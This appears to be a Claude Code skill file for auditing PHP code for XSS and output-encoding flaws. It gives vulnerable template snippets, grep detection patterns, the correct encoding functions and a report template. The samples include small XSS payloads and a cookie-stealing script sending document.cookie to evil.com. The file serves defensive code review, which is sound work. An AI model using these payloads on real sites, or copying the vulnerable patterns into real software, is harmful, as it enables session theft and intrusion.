check-output-encoding
Output Encoding Security Check
Analyze PHP code for XSS and output encoding vulnerabilities.
Detection Patterns
1. Missing HTML Encoding
// CRITICAL: Direct echo of user input
echo $_GET['name'];
echo $user->getBio();
// CRITICAL: In HTML attribute
<input value="<?= $value ?>">
<a href="<?= $url ?>">
// CRITICAL: In JavaScript context
<script>var name = "<?= $name ?>";</script>
2. Raw Template Output
// CRITICAL: Blade raw output
{!! $userContent !!}
{!! $request->input('message') !!}
// CRITICAL: Twig raw filter
{{ content|raw }}
{% autoescape false %}{{ content }}{% endautoescape %}
// VULNERABLE: PHP in templates
<?php echo $title; ?>
3. URL Encoding Issues
// VULNERABLE: JavaScript URL
$url = "javascript:" . $_GET['code'];
<a href="<?= $url ?>">Click</a>
// VULNERABLE: Data URL
<img src="data:image/svg+xml,<?= $content ?>">
// VULNERABLE: Missing URL encoding
<a href="/search?q=<?= $query ?>">
4. JSON/JavaScript Context
// VULNERABLE: JSON in HTML
<script>
var config = <?= json_encode($userConfig) ?>;
</script>
// CRITICAL: String in JS without escaping
<script>
var name = "<?= $name ?>"; // XSS via ";</script><script>alert(1)
</script>
// CORRECT:
<script>
var config = <?= json_encode($config, JSON_HEX_TAG | JSON_HEX_AMP) ?>;
</script>
5. CSS Context Injection
// VULNERABLE: User input in style
<div style="background: <?= $color ?>">
// VULNERABLE: CSS injection
<style>
.user { color: <?= $userColor ?>; }
</style>
// ATTACK: expression(alert(1)) in IE, url("javascript:")
6. Header Injection
// VULNERABLE: CRLF injection
header("Location: " . $_GET['redirect']);
// VULNERABLE: In Set-Cookie
setcookie('session', $value); // If $value has newlines
// VULNERABLE: Email header
mail($to, "Subject: $subject", $body); // Subject from user
7. Content-Type Mismatch
// VULNERABLE: JSON without proper content type
echo json_encode($data); // May be interpreted as HTML
// CORRECT:
header('Content-Type: application/json');
echo json_encode($data);
8. SVG/XML Injection
// VULNERABLE: User input in SVG
$svg = "<svg><text><?= $name ?></text></svg>";
// VULNERABLE: XML injection
$xml = "<user><name>$name</name></user>";
// ATTACK: <![CDATA[<script>alert(1)</script>]]>
Grep Patterns
# Direct echo of variables
Grep: "echo\s+\\\$_(GET|POST|REQUEST)" --glob "**/*.php"
Grep: 'echo\s+\$\w+\s*;' --glob "**/*.php"
# Blade raw output
Grep: "\{!!\s*\\\$" --glob "**/*.blade.php"
# Twig raw filter
Grep: "\|raw\s*\}" --glob "**/*.twig"
# JavaScript context
Grep: '<script[^>]*>.*\$\w+' --glob "**/*.php"
# In HTML attributes
Grep: '(href|src|value|style)=["'\''].*<\?=' --glob "**/*.php"
Severity Classification
| Pattern | Severity |
|---|---|
| Direct echo of user input | π΄ Critical |
| JavaScript context injection | π΄ Critical |
| Raw template output | π΄ Critical |
| Header injection | π Major |
| Missing JSON content-type | π‘ Minor |
Encoding Functions
HTML Context
// PHP
echo htmlspecialchars($value, ENT_QUOTES | ENT_HTML5, 'UTF-8');
// Blade (default)
{{ $value }}
// Twig (default)
{{ value }}
URL Context
<a href="/search?q=<?= urlencode($query) ?>">
<a href="<?= htmlspecialchars($url, ENT_QUOTES) ?>">
JavaScript Context
<script>
var data = <?= json_encode($data, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP) ?>;
</script>
CSS Context
// Whitelist approach
$allowedColors = ['red', 'blue', 'green'];
$color = in_array($input, $allowedColors) ? $input : 'black';
Output Format
### XSS Vulnerability: [Description]
**Severity:** π΄ Critical
**Location:** `file.php:line`
**CWE:** CWE-79 (Cross-site Scripting)
**Issue:**
User input is output without proper encoding.
**Attack Vector:**
Attacker can inject: `<script>document.location='https://evil.com/?c='+document.cookie</script>`
**Code:**
```php
// Vulnerable code
Fix:
// With proper encoding
## When This Is Acceptable
- **API-only projects** β JSON APIs don't need HTML encoding; Content-Type: application/json prevents XSS
- **Internal admin tools** β Tools used only by authenticated admins with trusted input
- **Template engines** β Twig/Blade auto-escape by default; raw output requires explicit `|raw` or `{!! !!}`
### False Positive Indicators
- Response has `Content-Type: application/json` header
- Project has no HTML templates (pure API)
- Template engine auto-escaping is enabled (Twig default)
More from dykyi-roman/awesome-claude-code
psr-overview-knowledge
PHP Standards Recommendations (PSR) overview knowledge base. Provides comprehensive reference for all accepted PSRs including PSR-1,3,4,6,7,11,12,13,14,15,16,17,18,20. Use for PSR selection decisions and compliance audits.
22detect-code-smells
Detects code smells in PHP codebases. Identifies God Class, Feature Envy, Data Clumps, Long Parameter List, Long Method, Primitive Obsession, Message Chains, Inappropriate Intimacy. Generates actionable reports with refactoring recommendations.
15clean-arch-knowledge
Clean Architecture knowledge base. Provides patterns, antipatterns, and PHP-specific guidelines for Clean Architecture and Hexagonal Architecture audits.
15ddd-knowledge
DDD architecture knowledge base. Provides patterns, antipatterns, and PHP-specific guidelines for Domain-Driven Design audits.
14testing-knowledge
Testing knowledge base for PHP 8.4 projects. Provides testing pyramid, AAA pattern, naming conventions, isolation principles, DDD testing guidelines, and PHPUnit patterns.
12bug-root-cause-finder
Root cause analysis methods for PHP bugs. Provides 5 Whys technique, fault tree analysis, git bisect guidance, and stack trace parsing.
12